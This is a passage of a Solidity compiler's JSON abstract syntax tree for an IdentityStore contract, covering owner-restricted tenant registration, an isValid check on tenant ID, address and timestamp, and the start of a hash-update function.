{
"argumentTypes": null,
"id": 175,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2863:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 174,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "2845:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 176,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2845:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "2807:69:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 192,
"nodeType": "IfStatement",
"src": "2803:224:0",
"trueBody": {
"id": 191,
"nodeType": "Block",
"src": "2878:149:0",
"statements": [
{
"assignments": [
180
],
"declarations": [
{
"constant": false,
"id": 180,
"name": "oldAddress",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2892:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 179,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "2892:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 184,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 181,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "2913:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 183,
"indexExpression": {
"argumentTypes": null,
"id": 182,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "2931:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "2913:30:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "2892:51:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 186,
"name": "oldAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 180,
"src": "2971:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"argumentTypes": null,
"id": 187,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "2983:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 185,
"name": "updateAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 369,
"src": "2957:13:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$_t_address_$returns$__$",
"typeString": "function (address,address)"
}
},
"id": 188,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "2957:39:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 189,
"nodeType": "ExpressionStatement",
"src": "2957:39:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 190,
"nodeType": "Return",
"src": "3010:7:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"id": 199,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 194,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "3098:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 193,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "3077:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 195,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3077:33:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"nodeType": "BinaryOperation",
"operator": "&&",
"rightExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 197,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 106,
"src": "3132:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 196,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "3114:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 198,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3114:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"src": "3077:68:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 207,
"nodeType": "IfStatement",
"src": "3073:159:0",
"trueBody": {
"id": 206,
"nodeType": "Block",
"src": "3147:85:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 201,
"name": "_tenantHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 104,
"src": "3177:11:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
{
"argumentTypes": null,
"id": 202,
"name": "_timestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 108,
"src": "3190:10:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
],
"id": 200,
"name": "updateTimestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 388,
"src": "3161:15:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_bytes32_$_t_uint256_$returns$__$",
"typeString": "function (bytes32,uint256)"
}
},
"id": 203,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3161:40:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 204,
"nodeType": "ExpressionStatement",
"src": "3161:40:0"
},
{
"expression": null,
"functionReturnParameters": 114,
"id": 205,
"nodeType": "Return",
"src": "3215:7:0"
}
]
}
}
]
},
"documentation": null,
"id": 209,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
"modifiers": [
{
"arguments": null,
"id": 113,
"modifierName": {
"argumentTypes": null,
"id": 112,
"name": "onlyOwner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 33,
"src": "2088:9:0",
"typeDescriptions": {
"typeIdentifier": "t_modifier$__$",
"typeString": "modifier ()"
}
},
"nodeType": "ModifierInvocation",
"src": "2088:9:0"
}
],
"name": "setTenant",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 111,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 104,
"name": "_tenantHash",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "1983:19:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"typeName": {
"id": 103,
"name": "bytes32",
"nodeType": "ElementaryTypeName",
"src": "1983:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 106,
"name": "_userAddress",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2012:20:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 105,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "2012:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 108,
"name": "_timestamp",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2042:18:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 107,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "2042:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 110,
"name": "_tenantId",
"nodeType": "VariableDeclaration",
"scope": 209,
"src": "2070:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 109,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "2070:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "1973:114:0"
},
"payable": false,
"returnParameters": {
"id": 114,
"nodeType": "ParameterList",
"parameters": [],
"src": "2105:0:0"
},
"scope": 428,
"src": "1955:1283:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 256,
"nodeType": "Block",
"src": "3376:487:0",
"statements": [
{
"condition": {
"argumentTypes": null,
"id": 223,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "3421:32:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 221,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 213,
"src": "3440:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 220,
"name": "userAddressExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 408,
"src": "3422:17:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$returns$_t_bool_$",
"typeString": "function (address) view returns (bool)"
}
},
"id": 222,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3422:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 227,
"nodeType": "IfStatement",
"src": "3418:74:0",
"trueBody": {
"id": 226,
"nodeType": "Block",
"src": "3455:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 224,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3476:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 219,
"id": 225,
"nodeType": "Return",
"src": "3469:12:0"
}
]
}
},
{
"assignments": [
229
],
"declarations": [
{
"constant": false,
"id": 229,
"name": "currentUser",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3502:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 228,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "3502:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 233,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 230,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
"src": "3528:20:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_address_$_t_struct$_User_$94_storage_$",
"typeString": "mapping(address => struct IdentityStore.User storage ref)"
}
},
"id": 232,
"indexExpression": {
"argumentTypes": null,
"id": 231,
"name": "_userAddress",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 213,
"src": "3549:12:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "3528:34:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage",
"typeString": "struct IdentityStore.User storage ref"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "3502:60:0"
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
},
"id": 241,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 235,
"name": "currentUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 229,
"src": "3619:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 236,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "tenantId",
"nodeType": "MemberAccess",
"referencedDeclaration": 93,
"src": "3619:20:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_string_memory",
"typeString": "string memory"
}
],
"id": 234,
"name": "keccak256",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 523,
"src": "3609:9:0",
"typeDescriptions": {
"typeIdentifier": "t_function_sha3_pure$__$returns$_t_bytes32_$",
"typeString": "function () pure returns (bytes32)"
}
},
"id": 237,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3609:31:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"nodeType": "BinaryOperation",
"operator": "!=",
"rightExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 239,
"name": "_tenantId",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 211,
"src": "3654:9:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 238,
"name": "keccak256",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 523,
"src": "3644:9:0",
"typeDescriptions": {
"typeIdentifier": "t_function_sha3_pure$__$returns$_t_bytes32_$",
"typeString": "function () pure returns (bytes32)"
}
},
"id": 240,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3644:20:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"src": "3609:55:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 245,
"nodeType": "IfStatement",
"src": "3606:97:0",
"trueBody": {
"id": 244,
"nodeType": "Block",
"src": "3666:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 242,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3687:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 219,
"id": 243,
"nodeType": "Return",
"src": "3680:12:0"
}
]
}
},
{
"condition": {
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 249,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 246,
"name": "currentUser",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 229,
"src": "3759:11:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User memory"
}
},
"id": 247,
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"memberName": "timestamp",
"nodeType": "MemberAccess",
"referencedDeclaration": 91,
"src": "3759:21:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": "<",
"rightExpression": {
"argumentTypes": null,
"id": 248,
"name": "_minTimestamp",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 215,
"src": "3783:13:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "3759:37:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"falseBody": null,
"id": 253,
"nodeType": "IfStatement",
"src": "3756:79:0",
"trueBody": {
"id": 252,
"nodeType": "Block",
"src": "3798:37:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"hexValue": "66616c7365",
"id": 250,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3819:5:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "false"
},
"functionReturnParameters": 219,
"id": 251,
"nodeType": "Return",
"src": "3812:12:0"
}
]
}
},
{
"expression": {
"argumentTypes": null,
"hexValue": "74727565",
"id": 254,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "bool",
"lValueRequested": false,
"nodeType": "Literal",
"src": "3852:4:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"value": "true"
},
"functionReturnParameters": 219,
"id": 255,
"nodeType": "Return",
"src": "3845:11:0"
}
]
},
"documentation": null,
"id": 257,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": true,
"modifiers": [],
"name": "isValid",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 216,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 211,
"name": "_tenantId",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3270:16:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 210,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "3270:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 213,
"name": "_userAddress",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3297:20:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 212,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "3297:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 215,
"name": "_minTimestamp",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3327:21:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 214,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "3327:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "3260:89:0"
},
"payable": false,
"returnParameters": {
"id": 219,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 218,
"name": "",
"nodeType": "VariableDeclaration",
"scope": 257,
"src": "3370:4:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 217,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "3370:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "3369:6:0"
},
"scope": 428,
"src": "3244:619:0",
"stateMutability": "view",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 319,
"nodeType": "Block",
"src": "3981:680:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 268,
"name": "_oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 259,
"src": "4021:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 267,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "4000:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 269,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4000:30:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "4f6c64206861736820646f6573206e6f742065786973742e",
"id": 270,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4032:26:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_b8700c17c6c187693f3b5aed9e32b4020bef3af87a53f2dfbedfc5d2ef1b0560",
"typeString": "literal_string \"Old hash does not exist.\""
},
"value": "Old hash does not exist."
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_b8700c17c6c187693f3b5aed9e32b4020bef3af87a53f2dfbedfc5d2ef1b0560",
"typeString": "literal_string \"Old hash does not exist.\""
}
],
"id": 266,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "3992:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 271,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "3992:67:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 272,
"nodeType": "ExpressionStatement",
"src": "3992:67:0"
},
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 277,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"nodeType": "UnaryOperation",
"operator": "!",
"prefix": true,
"src": "4077:31:0",
"subExpression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 275,
"name": "_newHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 261,
"src": "4099:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
],
"id": 274,
"name": "userTenantHashExists",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 427,
"src": "4078:20:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_bytes32_$returns$_t_bool_$",
"typeString": "function (bytes32) view returns (bool)"
}
},
"id": 276,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4078:30:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"argumentTypes": null,
"hexValue": "4e6577206861736820697320616c726561647920726567697374657265642e",
"id": 278,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "4110:33:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_0ba289e2ad90e453db834a95ce678dd3931ad19c254b07b01da7cb9c678d4148",
"typeString": "literal_string \"New hash is already registered.\""
},
"value": "New hash is already registered."
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_0ba289e2ad90e453db834a95ce678dd3931ad19c254b07b01da7cb9c678d4148",
"typeString": "literal_string \"New hash is already registered.\""
}
],
"id": 273,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 533,
"src": "4069:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 279,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "4069:75:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 280,
"nodeType": "ExpressionStatement",
"src": "4069:75:0"
},
{
"assignments": [
282
],
"declarations": [
{
"constant": false,
"id": 282,
"name": "currentAddress",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "4154:22:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 281,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "4154:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 286,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 283,
"name": "tenantHashMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 102,
"src": "4179:17:0",
"typeDescriptions": {
"typeIdentifier": "t_mapping$_t_bytes32_$_t_address_$",
"typeString": "mapping(bytes32 => address)"
}
},
"id": 285,
"indexExpression": {
"argumentTypes": null,
"id": 284,
"name": "_oldHash",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 259,
"src": "4197:8:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes32",
"typeString": "bytes32"
}
},
"isConstant": false,
"isLValue": true,
"isPure": false,
"lValueRequested": false,
"nodeType": "IndexAccess",
"src": "4179:27:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "4154:52:0"
},
{
"assignments": [
288
],
"declarations": [
{
"constant": false,
"id": 288,
"name": "oldUserInfo",
"nodeType": "VariableDeclaration",
"scope": 320,
"src": "4216:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_memory_ptr",
"typeString": "struct IdentityStore.User"
},
"typeName": {
"contractScope": null,
"id": 287,
"name": "User",
"nodeType": "UserDefinedTypeName",
"referencedDeclaration": 94,
"src": "4216:4:0",
"typeDescriptions": {
"typeIdentifier": "t_struct$_User_$94_storage_ptr",
"typeString": "struct IdentityStore.User"
}
},
"value": null,
"visibility": "internal"
}
],
"id": 292,
"initialValue": {
"argumentTypes": null,
"baseExpression": {
"argumentTypes": null,
"id": 289,
"name": "tenantAddressMapping",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 98,
